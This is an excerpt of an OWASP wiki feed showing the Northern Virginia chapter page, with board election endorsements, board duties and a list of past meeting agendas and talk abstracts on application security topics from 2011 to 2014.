&lt;br /&gt;
&lt;br /&gt;
{{Railsgoat Info&lt;br /&gt;
| project_name = Railsgoat&lt;br /&gt;
| project_home_page = http://railsgoat.cktricky.com&lt;br /&gt;
| project_description = Free training tool, vulnerable version of Ruby on Rails with Tutorials&lt;br /&gt;
| project_license = MIT&lt;br /&gt;
| leader_name[1-10] = Ken Johnson, Mike McCabe&lt;br /&gt;
| leader_email[1-10] = ken.johnson@owasp.org, michael.mccabe@owasp.org&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Michael McCabe</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Virginia&amp;diff=206278</id>
		<title>Virginia</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Virginia&amp;diff=206278"/>
				<updated>2016-01-12T02:29:47Z</updated>
		
		<summary type="html">&lt;p&gt;Michael McCabe: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==== About  ====&lt;br /&gt;
&lt;br /&gt;
[[Image:Owasp-nova.JPG|right|275px|Owasp-nova.JPG]]The '''OWASP Northern VA Local Chapter''' meetings are FREE and OPEN to anyone interested in learning more about application security. We encourage individuals to provide knowledge transfer via hands-on training and presentations of specific OWASP projects and research topics and sharing SDLC knowledge. OWASP Northern Virginia has almost 1000 members with a wide range of experience and backgrounds. We are also one of the two hosts with OWASP DC, hosting the 2016 OWASP AppSec USA Conference in Washington, DC. We'll be looking for members to help volunteer during the next few months.&lt;br /&gt;
&lt;br /&gt;
We the encourage vendor-agnostic presentations to utilize the OWASP Powerpoint template when applicable and individual volunteerism to enable perpetual growth. As a 501(3)c non-profit association donations of meeting space or refreshments sponsorship is encouraged, simply contact the local chapter leaders listed on this page to discuss. Prior to participating with OWASP please review the Chapter Rules. &lt;br /&gt;
&lt;br /&gt;
The chapter is committed to providing an engaging experience for a variety of audience types ranging from local students and those beginning in app-sec, to those experienced and accomplished professionals who are looking for competent collaborators for OWASP-related projects. To this end, we will continue to conduct both monthly chapter meetings as well as out-of-band curricula, on application security topics. &lt;br /&gt;
&lt;br /&gt;
{{Chapter Template|chaptername=Northern Virginia|extra =Come see us at a chapter meeting, jump on our Google Group, or email any of us directly.&lt;br /&gt;
&lt;br /&gt;
=== 2016 AppSec USA ===&lt;br /&gt;
&lt;br /&gt;
More info coming.&lt;br /&gt;
&lt;br /&gt;
We will be looking for volunteers to help with the conference.&lt;br /&gt;
&lt;br /&gt;
=== 2015 Chapter Election Candidates ===&lt;br /&gt;
*Mike McCabe - Board Chair&lt;br /&gt;
**OWASP Membership ID: 020000901&lt;br /&gt;
**Endorsement - Jack Mannino, Current Board Chair&lt;br /&gt;
**Full Disclosure: Mike reports directly to me at our day job.&lt;br /&gt;
**Mike is one of the most ethical, hard working, and analytical people I've had the pleasure to meet. In his previous two years serving on the OWASP NoVa board, Mike has been instrumental in keeping a healthy pipeline of interesting speakers as well as helping carve out new initiatives based on chapter feedback. I fully vouch for both his character and his ability to run the chapter in an ethical, high quality manner.&lt;br /&gt;
*Akshay Sivananda&lt;br /&gt;
**OWASP Membership ID:  020000050&lt;br /&gt;
**Endorsement - Ping Ning, Chapter Member&lt;br /&gt;
**Akshay is a seasoned information security professional, with broad experience in secure SDLC, vulnerability management, and software security initiative. I worked with Akshay before and enjoyed working with him. He was very supportive and always ready to provide a helping hand. He always has an open mind and respects various opinions. I think Akshay is a great candidate for the Owasp NoVA board and believe he will make significant contribution to the chapter. As a regular member of Owasp, I wholeheartedly endorse Akshay for the Owasp NoVA chapter board.&lt;br /&gt;
*Abdullah Munawar&lt;br /&gt;
**OWASP Membership ID: 020000037&lt;br /&gt;
**Endorsement - Jon Callahan, Chapter Member&lt;br /&gt;
**I worked with Abdullah for about a year and can personally attest to not only his knowledge but also his passion and drive to further himself in the security field. When committing to something, you'll know he will follow through and because of this, was my goto guy until we parted ways. Add on the 8 years worth of involvement with OWASP and you get someone who understands exactly how this chapter works and is willing to put the time in to keep it as great as it's been. &lt;br /&gt;
&lt;br /&gt;
=== Chapter Board ===&lt;br /&gt;
Previously having had a Chapter Leader, then a Chapter &amp;quot;Program Committee&amp;quot;, the chapter is now run by a full board (alphabetical order):&lt;br /&gt;
* Michael McCabe - Board Chair&lt;br /&gt;
* Abdullah Munawar&lt;br /&gt;
* Akshay Sivananda&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Board member responsibilities include:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre style=&amp;quot;white-space: pre-wrap;&amp;quot;&amp;gt;   * Providing governance for chapter and member activities in terms chapter mission and OWASP code of ethics&lt;br /&gt;
   * Recruiting OWASP membership&lt;br /&gt;
   * Driving OWASP NoVA Chapter attendance and involvement&lt;br /&gt;
   * Deferring to, facilitating, and supporting the activities and projects of chapter membership&lt;br /&gt;
   * Eliciting, scheduling, and coordinating chapter panels, speakers, and other sessions&lt;br /&gt;
   * Scouting, clearing, and scheduling chapter meeting venues and catering&lt;br /&gt;
   * Identifying opportunities for collaboration between chapter membership, OWASP global committees, and other organizations&lt;br /&gt;
   * Collecting and auditing use of chapter funds&lt;br /&gt;
   * Voting on chapter matters&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
For more information on how the board was elected and what it's responsibilities are, please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&amp;amp;amp;authkey=CIS9zFM Chapter Board Election] |mailinglistsite=https://groups.google.com/forum/#!forum/owasp-nova|emailarchives=https://groups.google.com/forum/#!forum/owasp-nova}}&lt;br /&gt;
&lt;br /&gt;
You may also want to follow [http://twitter.com/OWASPNoVA/ @OWASPNoVA] on Twitter. &lt;br /&gt;
&lt;br /&gt;
=== Schedule  ===&lt;br /&gt;
&lt;br /&gt;
Meetings are (generally) held the first Thursday of the month.&lt;br /&gt;
&lt;br /&gt;
Note: We need speakers and topics! If you want to present, please contact [mailto:michael.mccabe@owasp.org Mike] or [mailto:abdullah.munawar@owasp.org Abdullah]. We're very open to hearing from all our members.  &lt;br /&gt;
&lt;br /&gt;
== Next Meeting  ==&lt;br /&gt;
&lt;br /&gt;
We'll post all meetings on the Meetup page below. &lt;br /&gt;
&lt;br /&gt;
We can also be contacted through the comment or messages systems on Meetup.&lt;br /&gt;
&lt;br /&gt;
For latest news check the meetup page here: [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/ Meetup].&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past meetings ==&lt;br /&gt;
&lt;br /&gt;
===September 2014===&lt;br /&gt;
'''Date/Time:''' September 4th, 2014 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/200805882/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
We will cover some chapter business then go straight into a session covering Ruby on Rails Security.&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
The World of Ruby on Rails Security&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Take a quick trip through the world of Ruby on Rails security! The journey will start with an overview of security features offered by the popular web framework, then detour through dangerous pitfalls and unsafe defaults, and finally end with suggestions for improving security in Rails apps and integrating improvements into the development process.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Justin Collins is a member of the application security team at Twitter and the primary author of Brakeman, a static analysis security tool for Ruby on Rails.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===July 2014===&lt;br /&gt;
'''Date/Time:''' July 10th, 2014 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/191678702/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
We will have a technical presentation on OAuth, and we will have an open forum on some upcoming changes to the chapter's format that we want feedback on before we move ahead with them. Our goal is to make OWASP NoVa a group that not only spreads education, but produces material for the broader application security community. Please join us and have your say in the way OWASP NoVa runs in the future!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
OAuth 1.0 Authorization and Security&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
OAuth 1.0 is an authorization standard based on the idea of a “valet key”. This presentation will provide an overview of the OAuth 1.0 authorization model, how it may fit in the enterprise environment, and some security implications for designers and security analyzers. OAuth 2.0 framework, the proposed standard to replace OAuth 1.0, will also be briefly discussed.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Ping Ning is a senior consultant at Cigital with 20 years of development and security experiences. He is practicing many software security services for clients, including architecture risk analysis, security architecture and design, secure code review, penetration testing, building security programs, and tools deployment and training.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===February 2013===&lt;br /&gt;
'''Date/Time:''' February 7th, 2013 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/101839862/ Meetup]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: Jeffrey Walton - &amp;quot;Securing Wireless Channels in the Mobile Space&amp;quot;, [[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]]&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Securing Wireless Channels in the Mobile Space&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Secure channels are a cornerstone to individuals and employees on the go. The mobile environment adds additional pressures to securely delivering content to users - irregardless of whether its an email service delivering personal messages to a user, an organization providing company secrets to a mobile workforce, or a content provider streaming protected media to a subscriber. This talk will discuss the mobile environment, challenges to securely delivering content, examine past failures, offer remediation for issues in the environment, provide sample code for Android, iOS, .Net, OpenSSL, and discuss initiatives to address known issues.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Jeff has nearly 15 years of experience in a variety of roles including Systems Engineer, System Administrator, Developer, Security Engineer and Security Architect. He has worked with a number of Federal agencies and private institutions, including the Treasury Department, Social Security Administration, State Department, Diplomatic Security Service, financial institutions, and defense contractors. He has designed mobile solutions; developed secure containers; implemented secure channels; integrated management functions such as password lockouts and remote wipes; performed code reviews; and integrated security libraries such as Microsoft CAPI, Certicom Security Builder, OpenSSL and Crypto++. Jeff has also overseen and performed certification and accreditation audits, secure code reviews, and architectural risk assessments on traditional and mobile systems of varying code base sizes (primarily Objective C, C/C++ with Java, .Net).&lt;br /&gt;
&lt;br /&gt;
'''Downloads:'''&lt;br /&gt;
[[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]], [[Media:pubkey-pin-supplement.pdf|Supplement with code excerpts]], [[Media:pubkey-pin-android.zip|Android sample program]], [[Media:pubkey-pin-ios.zip|iOS sample program]], [[Media:pubkey-pin-dotnet.zip|.Net sample program]], [[Media:pubkey-pin-openssl.zip|OpenSSL sample program]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===January 2013===&lt;br /&gt;
'''Date/Time:''' January 10th, 2013 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.eventbrite.com/event/5106285036 Eventbrite]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Upcoming chapter elections and 2013 plans&lt;br /&gt;
 * Talk: &amp;quot;Automating (Some) Android Security Testing&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Automating (Some) Android Security Testing&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Dynamically assessing an Android application for security issues requires examining many different layers. Some areas are extremely feasible to automate, while some areas may lend themselves better to manual analysis or semi-automated analysis. This presentation will present a more semi-automated approach to assessing applications rather than 'fire and forget' testing. We'll also look at some of the prerequisites for performing Android testing as well as some of the essentials for things you'll want in your testing environment (such as coffee and Red Bull).&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
[https://www.owasp.org/index.php/User:Jack_Mannino Jack Mannino]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
===October 2012===&lt;br /&gt;
'''Date/Time:''' October 4th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Registration:''' [http://www.eventbrite.com/event/4430947082 Eventbrite]&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: [https://www.owasp.org/index.php/Dan_Cornell Dan Cornell] - &amp;quot;Benchmarking Web Application Scanners for YOUR Organization&amp;quot;, [https://www.owasp.org/images/7/73/OWASP_BenchmarkingWebApplicationScannersForYourOrganization_Content-1.pptx Presentation Slides]&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
Benchmarking Web Application Scanners for YOUR Organization&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Web applications pose significant risks for organizations. The selection of an appropriate scanning product or service can be challenging because every organization develops their web applications differently and decisions made by developers can cause wide swings in the value of different scanning technologies. To make a solid, informed decision, organizations need to create development team- and organization-specific benchmarks for the effectiveness of potential scanning technologies. This involves creating a comprehensive model of false positives, false negatives and other factors prior to mandating analysis technologies and making decisions about application risk management. This presentation provides a model for evaluating application analysis technologies, introduces an open source tool for benchmarking and comparing tool effectiveness, and outlines a process for making organization-specific decisions about analysis technology selection.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
Dan Cornell has over 15 years experience architecting and developing web-based software systems. As CTO, he leads Denim Group's security research team in investigating the application of secure coding and development techniques to improve web-based software development methodologies. He also heads the Denim Group security research team, investigating the application of secure coding and development techniques to the improvement of web-based software development methodologies. Dan currently serves as the OWASP San Antonio chapter leader, member of the OWASP Global Membership Committee and co-lead of the OWASP Open Review Project. Dan has spoken at numerous security conferences, such as RSA in San Francisco, OWASP EU Research in Athens and OWASP AppSec USA in Minneapolis.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2012 ===&lt;br /&gt;
'''Date/Time:''' July 12th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: [https://www.owasp.org/index.php/John_Steven| John Steven] - &amp;quot;Password Storage Security&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
&amp;quot;Password Storage Security&amp;quot; [[Media:PSM_-_Problem_Definition.pdf|Password Storage Security.pdf]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
During the June meeting we discussed the LinkedIn password theft which was just beginning its the news cycle. We'll use the July chapter meeting to discuss issues around password hashing and a solution. While wholly different schemes for protecting passwords at rest are preferable, it's instructive to look at hashing passwords as a threat modeling exercise and take the time to follow through to a fix. &lt;br /&gt;
&lt;br /&gt;
To read up on the issue, look at my latest blog post on the topic: [http://goo.gl/sGyi8|Justice League Blog - Securing Password Storage]&lt;br /&gt;
&lt;br /&gt;
For those who were sufficiently intrigued, mystified, or inspired by the presentation on password protection at the last chapter meeting, Coursera is offering a free 6-week Stanford course on cryptography that begins on August 27th (&amp;quot;Learn about the inner workings of cryptographic primitives and how to apply this knowledge in real-world applications!&amp;quot;): [https://www.coursera.org/course/crypto|Crypto Course] &lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
&lt;br /&gt;
See  [https://www.owasp.org/index.php/John_Steven| John Steven Bio]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2012 ===&lt;br /&gt;
'''Date/Time:''' June 7th, 2012 @ 6:30pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: Ken Johnson (LivingSocial) - &amp;quot;AppSec, Ritalin, and Failing Fast&amp;quot;&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:'''&lt;br /&gt;
&amp;quot;AppSec, Ritalin, and Failing Fast&amp;quot; [https://www.owasp.org/images/e/e9/Ken_Johnson_July_2012.pptx AppSec, Ritalin, and Failing Fast Presentation] &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
In early April Ken Johnson and Matt Ahrens presented a high-level overview of building an Application Security program at LivingSocial. This talk will differ in that it will focus on the granular aspects involved with introducing security into an incredibly intense development environment. The discussion will be compromised of experiences in:&lt;br /&gt;
* Developing technical solutions to solving difficult challenges&lt;br /&gt;
* Remaining proactive with an increased workload&lt;br /&gt;
* What it means to innovate&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
&lt;br /&gt;
Ken Johnson is the Application Security Manager for LivingSocial.com. Prior to joining LivingSocial.com, Ken worked in various application security consulting roles. Ken is the primary developer of the Web Exploitation Framework (wXf) and enjoys contributing to other open source projects as often as time permits. Ken has spoken at AppSec DC 2010 &amp;amp; 2012, OWASP DC and Phoenix chapters and is a member of the Attack Research Team.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2012 ===&lt;br /&gt;
'''Date/Time:''' May 3rd, 2012 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * &amp;quot;Chill Out&amp;quot; conversations (formal talked pushed back due to logistical issues)&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2012 ===&lt;br /&gt;
'''Date/Time:''' April 16th, 2012 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA&lt;br /&gt;
&lt;br /&gt;
'''Food Sponsor:''' Jeremy Long - jeremy.long[at]owasp.org&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Talk: &amp;quot;Malicious Code Detection or BRIC Breaking Through Static Analysis&amp;quot; by Masha Khainson (Cigital)&lt;br /&gt;
 * Firetalks!&lt;br /&gt;
 * ISSA NoVA Social @Champps!  :)&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:''' &amp;quot;Malicious Code Detection or BRIC Breaking Through Static Analysis&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
Malicious Code Detection or BRIC Breaking Through Static Analysis: As organizations outsource development to less trustworthy providers malware becomes as much a problem as introduction of honest vulnerability by one's own development shop. Assessment practices currently look for vulnerability within source code and a running systems but these are but a few of windows of opportunity for malware introduction. This presentation demonstrates an approach for augmenting an existing security practice with the capability to detect potentially malicious code through secure code review. First, we show how to break malicious intent--often quite subtle--into concrete patterns we can reliably detect. The framework then demonstrates how to build suspicion around reliance of particular patterns' use in concert which, increasingly, imply malicious intent. These techniques will be explained through a demonstration in a real world application.&lt;br /&gt;
&lt;br /&gt;
'''Bio'''&lt;br /&gt;
Masha (a.k.a Marina) has dreamed of becoming a security consultant before she ever knew what a ballerina was, and that's a good thing - because she does not intend her talk to be a ballet recital. Having been in software security for over seven years, Ms. Khainson has delivered Architecture Risk Assessment, Secure Code Review, and Ethical Hacking on many architectures, platforms and technologies. Marina has also developed training materials for clients and led remediation assistance teams.&lt;br /&gt;
&lt;br /&gt;
Prior to joining Cigital, Marina was a member of a research team at a leading security research provider, where using disassembly as well as protocol and source code analysis, she provided key information on newly released vulnerabilities. Before that, Marina assisted the same research team in producing detailed reports on critical malware and spyware threats, as well as developing and testing content for network security devices from some of the top providers of intrusion detection and prevention technologies.&lt;br /&gt;
&lt;br /&gt;
Download: [[Media:MCD-OWASPNoVA.pdf|Malicious Code Detection or BRIC Breaking Through Static Analysis]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== November 2011 ===&lt;br /&gt;
'''Date/Time:''' November 3rd, 2011 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location Sponsor:''' [http://www.qinetiq.com/ QinetiQ], 2677 Prosperity Ave Fairfax, VA 22031&lt;br /&gt;
&lt;br /&gt;
'''AGENDA:''' &lt;br /&gt;
 # News / Updates&lt;br /&gt;
 # Talk: &amp;quot;Lessons Learned from the SQL Injection Challenge&amp;quot; by Ryan Barnett (Trustwave SpiderLabs)&lt;br /&gt;
 # Firetalks! :)&lt;br /&gt;
&lt;br /&gt;
'''Presentation Title:''' &amp;quot;Lessons Learned from the SQL Injection Challenge&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Abstract:'''&lt;br /&gt;
How effective are blacklist filters vs. SQL Injection attacks?  What is the failure rate vs. automated scanning or manual testing?  Are there any &amp;quot;Time-to-Bypass&amp;quot; metrics?  In an attempt to answer these questions, Trustwave SpiderLabs' Research Team (the development team behind the ModSecurity WAF and the OWASP ModSecurity Core Rule Set) held a community &amp;quot;SQL Injection Challenge&amp;quot; to test the effectiveness of the OWASP ModSecurity Core Rule Set protections.  This presentation will provide an overview of the challenge, a step-by-step walk-through of the bypass tactics used by the winners, as well as, present a new approach to attack detection using ModSecurity's Lua API to perform Bayesian analysis.&lt;br /&gt;
&lt;br /&gt;
'''Speaker Bio:'''&lt;br /&gt;
[mailto:ryan.barnett@owasp.org Ryan C. Barnett] (Twitter: [http://twitter.com/#!/ryancbarnett @ryancbarnett]) is a senior security researcher on Trustwave's SpiderLabs Team. He is a SANS Institute certified instructor and a member of both the Top 20 Vulnerabilities and CWE/SANS Top 25 Most Dangerous Programming Errors teams. In addition to working with SANS, he is also a WASC Member where he leads the Web Hacking Incidents Database (WHID) and Distributed Web Honeypots Projects and is also the OWASP ModSecurity Core Rule Set (CRS) project leader. Mr. Barnett has also authored a Web security book for Addison/Wesley Publishing entitled &amp;quot;Preventing Web Attacks with Apache&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== October 2011 ===&lt;br /&gt;
'''Date/Time:''' October 6th, 2011 @ 6pm &lt;br /&gt;
&lt;br /&gt;
'''Location/Food Sponsor:''' [http://www.cigital.com/ Cigital], 21351 Ridgetop Circle, Suite 400, Sterling, VA 20166 &lt;br /&gt;
&lt;br /&gt;
'''AGENDA:'''&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * AppSec USA 2011 Recap&lt;br /&gt;
 * Talk: Jack Mannino: [http://www.slideshare.net/JackMannino/owasp-top-10-mobile-risks &amp;quot;OWASP Top 10 Mobile Risks&amp;quot;]&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
&lt;br /&gt;
=== September 2011 ===&lt;br /&gt;
&lt;br /&gt;
The September meeting was cancelled due to inclement weather (flash flooding).&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== August 2011  ===&lt;br /&gt;
&lt;br /&gt;
We held a &amp;quot;social&amp;quot; event at Sweetwater Tavern in Sterling, VA. &lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== July 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' July 7th, 2011 @ 6pm&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.cigital.com Cigital], Suite 400 21351 Ridgetop Circle, Dulles, VA, 20166&amp;lt;br&amp;gt; '''Food Sponsor:'''&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Topic of the Month: iGoat - Ken Van Wyk&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== June 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' June 9th, 2011 @ 6pm (*Note: 2nd Thursday of June!)&amp;lt;br&amp;gt; '''Location Sponsor:''' [http://about.collegeboard.org/ The College Board], 11955 Democracy Drive Reston, VA 20190&amp;lt;br&amp;gt; '''Food Sponsor:''' The College Board&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * Topic of the Month: [https://www.owasp.org/index.php/Top_10_2010-A4 A4 &amp;quot;Insecure Direct Object References&amp;quot;]&lt;br /&gt;
 * College Board Speaker: &amp;quot;Attack-in-Depth:  Exploits of the OWASP Top Ten in Action&amp;quot;&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
 - Jack Mannino: &amp;quot;Android Security 101&amp;quot;&lt;br /&gt;
 - Others!&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== May 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' Cinco de Mayo (May 5th), 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.akamai.com/ Akamai], 11111 Sunset Hills Dr, Suite 250, Reston, VA 20190&amp;lt;br&amp;gt; '''Food Sponsor:''' Akamai&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * 2011 Election (voice vote on the entire slate)&lt;br /&gt;
 * Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A3 A3 &amp;quot;Broken Authentication and Session Management&amp;quot;]&lt;br /&gt;
 * Speaker: Steve Witmer on A3 from the &amp;quot;breakers&amp;quot; perspective&lt;br /&gt;
 * Speaker: ??? on A3 from the &amp;quot;fixers/defenders&amp;quot; perspective&lt;br /&gt;
 * Firetalks! :)&lt;br /&gt;
 * '''Update:''' All election candidates were elected by voice vote. &lt;br /&gt;
    * Please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&amp;amp;authkey=CIS9zFM '11 Chapter Board Election Material]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== April 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' April 7, 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.reversespace.com/ ReverseSpace], 13505 Dulles Technology Dr, Suite 3, Herndon, VA 20171 &amp;lt;br&amp;gt; '''Food Sponsor:''' [https://www.cigital.com Cigital]&amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
 * News / Updates&lt;br /&gt;
 * 2011 Election&lt;br /&gt;
 * Topic of the Month: [http://www.owasp.org/index.php/Top_10_2010-A2 A2 &amp;quot;Cross-Site Scripting (XSS)&amp;quot;]&lt;br /&gt;
 * Preso:&amp;quot;Cross-Site Scripting is Not Your Friend: XSS and the Facebook Platform&amp;quot; by Joey Tyson ([https://www.owasp.org/images/9/92/Xssnotfriend-edited.pptx PPTX] or [https://www.owasp.org/images/0/06/Xssnotfriend-edited.pdf PDF])&lt;br /&gt;
 * Preso:“XSS Remediation” by Cassia Martin ([https://www.owasp.org/images/6/66/XSS_Remediation.ppt PPT])&lt;br /&gt;
 * Preso:&amp;quot;Growing the secure application developer community through expanded curricula&amp;quot; by Tony Gottlieb&lt;br /&gt;
 * FireTalks (bring it!)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
=== March 2011  ===&lt;br /&gt;
&lt;br /&gt;
'''Date/Time:''' March 3, 2011 @ 6pm &amp;lt;br&amp;gt; '''Location Sponsor:''' [http://www.boozallen.com/ Booz Allen Hamilton], 13200 Woodland Park Road, Herndon, VA 20171 &amp;lt;br&amp;gt; '''AGENDA:''' &lt;br /&gt;
&lt;br /&gt;
  * News / Updates&lt;br /&gt;
  * [http://www.owasp.org/index.php/OWASP_Summit_2011 OWASP Summit 2011] In Review&lt;br /&gt;
  * Preso: [http://www.owasp.org/index.php/Top_10_2010-A1-Injection A1 &amp;quot;Injection&amp;quot;]&lt;br /&gt;
  * Briefing: Training/Preso Plan for the Year&lt;br /&gt;
